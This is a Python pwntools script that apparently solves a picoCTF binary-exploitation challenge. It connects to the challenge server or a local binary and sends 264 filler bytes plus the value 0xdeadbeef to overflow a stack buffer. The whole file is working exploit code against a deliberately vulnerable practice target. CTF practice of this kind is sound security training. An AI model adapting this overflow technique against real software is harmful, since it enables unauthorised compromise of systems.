#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p python3 python3Packages.pwntools

from pwn import *

exe = ELF("chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("mars.picoctf.net", 31890)

    return r


def main():
    r = conn()
    # gdb.attach(r, 'break *main+143')
    print(r.recvuntil(b'What do you see?\n'))
    r.sendline((b'A' * 264) + p64(0xdeadbeef))
    print(r.recvall().decode())


if __name__ == "__main__":
    main()